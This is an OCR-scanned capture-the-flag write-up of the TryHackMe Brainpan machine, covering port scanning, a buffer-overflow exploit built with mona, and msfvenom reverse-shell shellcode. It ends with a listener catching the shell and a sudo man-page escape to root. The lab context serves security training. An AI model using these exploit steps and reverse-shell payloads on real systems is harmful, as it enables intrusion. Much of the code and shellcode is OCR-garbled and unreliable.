Brainpanl

Tuesday, July 13, 2021 11:12 AM
# nmap -A -v

rting Nmap 7.60 ( https://nmap.org ) at 2021-07-13 16:18 BST
Loaded 146 scripts for scanning.

Nmap scan report for ip-10-10-240-82.eu-west-1.compute.internal (10.10.240.82)
ost is up (0.00046s latency)
Not shown: 998 closed ports
ORT STATE SERVICE VERSION
9999 /tcp open abyss?
fingerprint-strings:
NULL:

S o S

WELCOME TO BRAINPAN

| ENTER THE PASSWORD
10000/ tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
| http-methods:
| _ Supported Methods: GET HEAD
| http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at ht
tps://nmap.org/cgi-bin/submit.cgi?new-service
SF-Port9999-TCP:V=7.60%I=7%D=7/13%Time=60EDAEDC%P=x86_64-pc-Linux-gnu%r(NU
:LL,298," \|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
\X20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \|\x20\x20\x20\x20
1\ x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
10\ x20\ x20\ x20\ X260\ x20\ x20\x20\x20\ X206\ x20\x20\x20\x20\Xx20\Xx20\x20\x20\X
:20\n_\ | _\|_\1\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x26_\|_\|_\|
\x20\x20\x20\x20\x20\x20_\ | _\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x26\
F:x20\x20\x20_\|_\|_\I\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
F:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x26_\|\x
:20\x20_\ | \x20\x20\x20\x20_\ | \x20\x20_\ | \x20\x20\x20\x20_\ |\x20\x20_\|\x
20\x20\x20\x20 \|\x20\x20 \|\x20\x20\x20\x20 \|\n_\|\x20\x20\x20\x20 \|
:\x20\x20_\ | \x20\x20\x20\x20\x20\x20\x20\x20_\ | \x20\x20\x20\x20_\ | \x20\x
0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x206\X
\x20\x20\x20_\ | \x20\x20_\ | \x20\x20\x20\x20_\ |\n_\|_\|1_\]|\x20\x
: 9\ |\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
Fi\ |\ x20\x20_\ | \x20\x20\x20\x20_\ | \x20\x20_\ | _\|_\|\x20\x20\x20\x20\x20\x

0.00s elapse
Nmap scan report for ip-10-10-240-82.eu-west-1.compute.internal (10.10.240.8
Host is up (0.00093s latency).
Not shown: 998 closed norts
PORT STATE SERVICE
9999 /tcp open abyss
10000/tcp open snet-sensor-mgmt
MAC Address: 02:87:EC:6D:AE:D1 (Unknown)

NSE: Script Post-scanning.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.91 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.036KB)
The results of our nmap scan show two interesting ports open. Port 9999 appears to have an
application running on it. Let's see if we can connect to it with nc.
# nc 10.10.240.82

WELCOME TO BRAINPAN
ENTER THE PASSWORD

>> test
ACCESS DENIED

Let's also take a peek at what's running on port 10000.
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10.10.240.82:10000/

s C @

TryHackMe | Learn Cy Ve Sup ® Offline CyberChef (@ GitHub - swisskyrepo/... @ Rev Shell Cheat S

WHAT'S THE BIG DEAL?

Previously, attacke sed application vulnerabilities to cause embarrassment and disruption. But now these

19 vulnerabilities to steal data and much more

u
attackers are explo

MODIFYING VICTIMS'
‘ \ WEBSITES TO DEPLOY
\ RECEHRRR | MALWARE TO WEBSITE
&’ VISITORS
TAKING OVER HIGH-VALUE )\ BREACHING ORGANIZATION
| PERIMETERS

)/ ACCOUNTS

10 when first tested. More than

half of all developers received a grade of C or lower on a basic application secunity assessment

TOP 5 APPLICATION VULNERABILITIES

. Percentage of Web Applications Affected . Percentage of Hacks*

32%
R crposrae Hﬂ
Xss 68% 0S Command 9%
10% Injection | 1%

Nmap believes that abyss is running on 9999 and that SimpleHTTPServer is running on 10000. So, we
are dealing with a Linux box most likely. Let's see if we can gain access to the box over the server
running on 10000. We enumerate first with Nikto. Nikto reports that there may be a system shell found
in /bin/. Also SimpleHTTP appears to be outdated.

# nikto -h

.compute.internal

Let's run gobuster against port 10000
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Gobuster v3.0.1
by 03 Reeves (@ThecC

url:
Threads:

Wordlist: medium. txt

Status codes: 200,204,301,302,307,401,403
User Agent: gobuster/3.0.1
Timeout:

Gobuster has located the bin directory on 10000, but it seems like we're getting a redirect. Let's try to
connect to it.

Directory listing for /bin/ X +

< ¢ @ © 4 10.10.240.82

TryHackMe | Learn Cy... TryHackMe Support ' Offline CyberChef

Directory listing for /bin/

 brainpan.exe

Cool. We were able to locate the brainpan.exe application on 10000/bin. Let's download it from our
Windows test box to attempt a Buffer Overflow exploit.

i1 Applications Places System 6 $~ S Tue13Jul, 17:21 Attac IP:10.10.247.241 “
FreeRDP: 10.10.68.126

Hostname : OSCP-BOF-PREP
Instance ID : i-0ef11403cfc6926b7
Private IP Address : 10.10.68.126
Availability Zone : eu-west-1b
Instance Size : t2.medium
Architecture : x86
ImmunityD.
2 Immunity Debugger - [CPU]
[C_]Fde View Debug Plugins Immlib Options Window Help Jobs - [|&] %
. OB T Max > I s HEHNEY 1l elmtwhcPkbzr.s?l

» Reaisters (FPU)

vulnerable...

e

mmunity

'eb

B
hﬂwss i - _ :

Show Modules window (Alt+E) Ready
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é Directory listing for /bin/ - Windows Internet Explorer =] (=)

| hitp://10.10.240.82:0000/bir v|R| 4| X Bing

NS % -
Favorites | 52 @] Suggested Sites v @] Web Slice Gallery »
55 ~ | @ Internet Explorer cannot... & Directory listing for /b... " v B v 0 @ v Pagev Safetyv Toolsv @~

Directory listing for /bin/

of brainpan.exe from 10.10,240,82 Completed o| @

e brampan exe

File Download - Security Waming
Do you want to run or save this file?

i 1 Name: brainpan.exe
Type: Application, 20,6KB
From  10.10.240.82

Run Save Cancel |

We gave this file a new name since we already have an application named Brainpan on our test
Windows box.

» wvulnerable-apps » v |4y
Include in library « Share with + New folder
- MName ’ Date modified
p oscp ] M
loads vulnserver 7/3/2020 10:34 PM
tPlaces ;E' 12f1ab027e53745877e998c00682¢5d-5L... 25/2020 T:41 PM
" brainpan 6,/25/2020 7:39 PM
5 " | brainpan_1 M
nents 1 dostackbufferoverflowgood 6/25/2020 7:37 PM

We have started the application on our test box. Let's confirm that it is vulnerable to a buffer overflow
attack by fuzzing it. Let's also configure a working directory within mona.

!mona config -set workingfolder c:\mona\%p

port
timeout
prefix BRAINPAN 1

string prefix

socket. ket(socket.AF INET, socket.SOCK STREAM)
ettimeout(timeout)
t((ip, port))
)

(string)

fetrinn)

& Line 7, Column 12 Spaces: 2 Python
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We were able to crash the application at 600 bytes.

_Lexe - [CPU - main thread] =@ f"
B

jrikjvlzr]..Js]?]
| » Registers (FPL

root@ip-10-10-247-241:

p-10-10-24 # python3 fuzzer.py
Fuzzing with 100 bytes

Fuzzing with 200 bytes

Fuzzing with 300 bytes

Fuzzing with 400 bytes

Fuzzing with 500 bytes

Fuzzing with 600 bytes

Fuzzing crashed at 600 bytes

|

us | “[Paused |

Run the following command to generate a cyclic pattern of a length 400 bytes
longer that the string that crashed the server (change the -l value to this):

t@ip-10-10-247-241:-# locate pattern_create.rb
Jopt/metasploit-f ework-5101/tools/exploit/pattern_create.rb

t@i ] 17 # cd Jopt/metasploit-framework-5101/tools/exploit

t@ip-10-1 : # ./pattern_cr
ate.rb -1 1000
abAalAa2Aa3Aad4AaSAabAa7AaBAa9%AbOAb1Ab2Ab3AD4ADSAD6AD7TADBADSACOACIAC2AC3AC4ACSAC
SACTACBAC9AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7AdBAd9Ae0Ae1Ae2Ae3AedAeSAe6Ae7TAe8Ae9ATOAT1AT2A
3Af4AfSAF6Af7AF8AT9AgOAg1Ag2Ag3Ag4Ag5Ag6Ag7AgBAg9AhOAR1Ah2Ah3Ah4AhSAh6AR7ARBANS

10A11A12A13A14A15A16A17A1BA19AI0AJ1AJ2AJ3AJ4AJSAI6AJ7AIBAJ9Ak0OAKk1AKk2AKk3AK4AKSAK
5 SALOAT1AL2AT3A14ALS5AL6AL7ALBAL9AMOAMIAM2AM3AM4AMSAMGAMTAM 9AN0AN1AN2A

09ApPOAP1AP2AP3AP4APSAP6APTAPBApPYS
qO0AQq1Aq2AQ3AQ4AQ5AQ6AQT7AQBAQOArOAr1Ar2Ar3Ar4ArSAr6Ar7Ar8Ar9As0As1As2As3As4AsS5As
SASTASBASIATOATIAT2AL3AT4ATSATOALTALBAT9AUDAUTAUZAU3AU4AUSAUGAUTAUBAUSAVOAVIAV2ZA

/3AV4AAVS5AVEAVTAVBAVIAWOAWIAWZAWIAWAAWSAWEAWTAWBAWIAXOAX1AX2AX3AX4AX5AX6AXTAXBAXS

AyOAY1AYy2AY3AY4AYSAY6AYTAYBAY9AZOAZ1AZ2AZ3AZ4AZ5AZ6AZ7AZ8AZz9Ba0Bal1Ba2Ba3Ba4BasBa

bBa7Ba8Ba98boBb1Bb2Bb3Bb4BbSBb6Bb7Bb8Bb9BCcOBCc1Bc2BCc3BCc4BCcSBCc6BCc7Bc8Bc9BdOBd1Bd2B
38d4Bd5Bd6Bd7Bd8Bd9BeOBe1Be2Be3Be4BeS5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4BfSBf6Bf7Bf8Bf9
g0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg98hoBh1Bh2B

Crash Replication & Controlling EIP

Create another file on your Kali box called exploit.py with the Following
contents:
Add the pattern as the payload in our exploit.
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ip
port

prefix BRAINPAN 1
offset

overflow g offset
retn

padding

payload

sending evil buffer...
Done!

The script should crash the oscp.exe server again. This time, in Immunity
Debugger, in the command input box at the bottom of the screen, run the
following mona command, changing the distance to the same length as the
pattern you created:

MMona should display a log window with the output of the command. If not, click
the "Window" menu and then "Log data" to view it (choose "CPU" to switch back
to the standard view).

In this output you should see a line which states:

EIP contains normal pattern

ona findmsp -distance 1000

Update your exploit.py script and set the offset variable to this value (was
previously set to 0). Set the payload variable to an empty string again. Set the
retn variable to "BBBB".
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~/exploit.py - Sublime Text (UNREGISTERED)

exploit.py

offset

overtlow A offset
retn BBBB

padaing

[(EVAGED)

postfix

prefix + overflow + retn + padding + payload + postfix

socket. ket (socket.AF INET, socket.SOCK STREAM)

ct((1ip, port))

g

- = =
Sending evil buffer.
Done!

tlp  Jobs & | >
whcecPklbzr..s 2

- isters (FPU)

Our Windows test box expired. On the new instance of the test box the offset for Brainpan_1is 514.

prefix 3 PAN 1 "
offset

overftlow ‘A offset
retn

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00)
by default. Note the location of the bytearray.bin file that is
generated (if the working folder was set per the Mona
Configuration section of this guide, then the location should be
C:\mona\oscp\bytearray.bin).

Now generate a string of bad chars that is identical to the
bytearray. The following python script can be used to generate a
string of bad chars from \x01 to \xff:

for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end="'")
print()
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10 -241:~# python3 byte_array.py
\xOl\x02\x03\x04\x05\x00\x07\x08\x09\an\xOb\xOc\de\er\xOf\x10\x11\x12\x13\x14
\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28
\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c
\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50
\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64
\X65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78
\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8¢
\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\ x99\ x9a\x9b\x9c\x9d\x9e\x9f\xad
\xal\xa2\xa3\xad4\xa5\xa6\xa7\xas8\xa9\xaa\xab\xac\xad\xae\xaf\xbo\xb1\xb2\xb3\xb4
\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8
\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc
\xdd\xde\xdf\xe0\xel\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfo
\XF1\xF2\xF3\xFa\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

pioiaa
offset

overflow A offset
retn

padding

payload

ine 11, Column 1032 Tab Size: 4 Python

Restart gatekeeper.exe in Immunity and run the modified exploit.py script again. Make a note of the
address to which the ESP register points and use it in the following mona command:

[P] mona Memory comparison results =5 |EC] l

Imona compare -f C:\monalbrainpan_1ibytearray.bin -a 0022F930)|

Finding a Jump Point

Wwith the oscp.exe either running or in a crashed state, run the
following mona command, making sure to update the -cpb option
with all the badchars you identified (including \x00):
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‘!mnna jmp -r esp -cpb "x<00"

| €] CPU - main thread, module brainpar

[shicizeal - Bt [E B
Generate Payload

Run the following msfvenom command on Kali, using your Kali
VPN IP as the LHOST and updating the -b option with all the
badchars you identified (including \x00):

[-] No platform was lected choosing MO :Platform:

[-] No arch 3elected, selecting arch: x86 from the payload
Found 11 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_

x86/shikata_ga_nal succeeded with size 351 (iteration=0)
x86/shikata_ga_nal chosen with final size 351
Payload si 351 bytes

nal size of ¢ file: 1500 bytes
* signed char buf[]

xbd\x21\x2c\x0e\ db\xcc\xd9\x74\x24\xf4\x58\x31\xc9\
"\x52\x31\x68\x12\x03\x68\ 83\xc9\xdo\xec\xa9\xf5\xc1\

\x51\x05\x12\x14\xdb\xe0\x23\x14\xbf\x61\x13\xad4\xcb\x27\x98"

"\x4f\x99\xd3\x2b\x3d\x36\xd4\x9c\x88\x60\xdb\x1d\xa®\x51\x7a
"\x9e\xbb\x85\x5¢c\x9f\x73\xd8\x9d\xd8\x6e\x11\xcf\xb1\xe5\ x84
"\ xff\xb6\xbO\x14\x74\x84\x55\x1d\x69\x5d\x57\x0c\x3c\xd5\x0e
\ f\x3a\x3b\x87\xa7\x5f\x06\x51\x5¢c\xab\xfc\x60\xb4\xe5

‘\-fd\xcf\<f9\\tq\ xOf\ x ll\x:e\ved\\ef\kéd\x36\mud\MBd\x7e\de'

"\x6f\x49\x0a\x15\xd7\x1a\xac\xf1\xe9\xcf\x2b\x7
"\xdc\xea\x3b\xec\x57\x16\xb7\x13\xb7\x%e\x8 3\-37\\13\-fa\

"\x59\x02\xa6\x37\x66\x54\x09\xe7\xc2\x1f\xadq\xfc\x7e\x42\xa1"
"\x31\xb3\x7c\x31\x5e\xc4\> Of\nOB\ttl\-‘ \x87\x2f\x8a\x58\x50
\x4f\xal\x1d\xce\xae\x4a\x \» c \x5c\x1f\xc5"
"\x7f\x61\xca\x4a\x2f\xcd\xas \xLa\fo\aad\-l)\a\?\xf \x21\x49"

"\xf3\xf6\xeb\x 9e\x0d\x7c\x07\x55\xfa\x8d\x7f\x6b\x04\x7f
\xe2\x15\xcc\xa2\xbc 1\x75\xef\x35\x33\x79\x25\x30

\xc5\x3a\xf2 \137\(d,\\db\xf’\xfd\\H/\\7d\xUL\(‘b'

3F\xb7\x2f\x6f\xbc\x6f\x78\x38\x72\x66 c\xd4\x2d

«d0\x12\x25\xab\x1b\x96\xf2\x08\xa5\x17\x76\x34\x81\x07\x4e"

\x73\x1e\xe0\x5b\x2d\xd8\x5a\x2a\x87\xb2 1\xed4\x4f
"\x42\x7a\x37\x09\x4b\x57\xc1\xf5\xfa\x0e\x94\x0a\x32\xc7\x10

‘~73\\‘e\~77\\de\.ae\\Ed\197\m3d\17a\m07\x30\\9 xef\xaa\x5d"
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offset

padding
EVAGET]

p-16-1 47 -2 # python3 exploit.py
nding evil buffer

Z:\home\puck>whoami /priv
File not found.

Z:\home\puck>whoami
File not foun

Z:\home\puck>dir
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\home\puck

3/6/2013 23 PM <DIR>
3/4/2013 49 AM <DIR>
3/6/2013 23 PM
3/4/2013 45 PM <DIR>

1 file

3 directories 13,816,545,

Z:\home\puck>

Attempting to elevate our privilege via the limited wine shell has proved to be a dead end. Our
underlylng system is Imux, so let's attempt to exploit the buffer vulnerability with linux shellcode.
t 1 )7-122:-# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.197
.122 LF’D?T:ALHS -f c -b "\x00
]

[-] No platform was selected, choo g Msf::Module::Platform::Linux from the pay

load

[-] No arch selected, selecting arch: x86 from the payload

Found 11 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nail
x86/shikata_ga_nal succeeded with size 95 (iteration=0)

x86/shikata_ga_nail chosen with final size 95

Payload size: 95 bytes

Final size of c file: 425 bytes

unsigned char buf[]

\» \xe9\xd9\x74\x24\xf4\x58\xba\x0a\xb6\x%e\xb1\x31\xc9\xb1
\x12\x31\x50\x17\x83\xc0\x04\x03\x5a\xa5\x7c\x44\x6b\x12\x77
\x44\xd8\xe7\x2b\xel\xdc\x6e\x2a\x45\x86\xbd\x2d\x35\x1f\x8e"
"\x11\xf7\x1f\xa7\x14\xfe\x77\x32\xed\xc5\xfd\x2a\xf3\xc5\x10
\xf6\x7a\x24\xa2\x6e\x2d\xf6\x91\xdd\xce\x71\xf4\xef\x51\xd3
\x9e\x81\x7e\xa7\x36\x36\xae\x68\xad\xaf\x39\x95\x7a\x63\xb3"
\xbb\xca\x88\x0e\xbb";

t@ 10-10-197-122:-#
Since | already exploited the victim machine using the Windows exploit, | need to restart the victim

machine and swap the payload in our exploit with the Linux shellcode and open a new nc listener to
catch the reverse shell.
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payload

prefix overflow retn padding [EAGED] postfix

t(socket.AF INET, socket.SOCK STREAM)

# python3 exploit.py

Sending evil buffer...
Done!

x root@i

t@ip-10-10-197-122:-# rlwrap nc -lvnp 4445
Listening on [0.0.0.08] (family ©, port 4445)

Connection from 10.10.44.187 43073 received!

Success! We were able to get a reverse shell from the linux box, but it's not too useful. Let's use Python
to generate a bash shell.

Now, that we have a bash shell, let's see what privileges we have as the current user by issuing a sudo -I.
puck@brainpan: /home/puck$ sudo -1
sudo -1
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\: /usr/sbin\:/usr/ \:/sbin\:/bi

User puck may run the following commands on this host:

(root) NOPASSWD: /home/anansi/bin/anansi_util
The command shows us that our user can run a script as root in user anansi's directory without a
password. So, let's attempt to run it!

puck@rainpan: /home/puck
sudo /home/anansi/bin/an
/home/anansi/bin/anansi_util [action]
[action] is one of:
network
proclist
manual [command]
The only command that we appear to have permission to run is the 'manual' command. We should be
able to run that command, hit return and request a bash shell that should return as root! Let's try it.
sudo /home/anansi/bin/anansi_util manual 1s
No manual entry for manual

WARNING: terminal is not fully functional
(press RETURN)
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Manual page 1 line 2 (press h for help or q to quit)!/bin/ba
in/bash
oot@brainpan: /usr/share/man# whoami
whoami

root
ot@brainpan: /us

root@brainpan:
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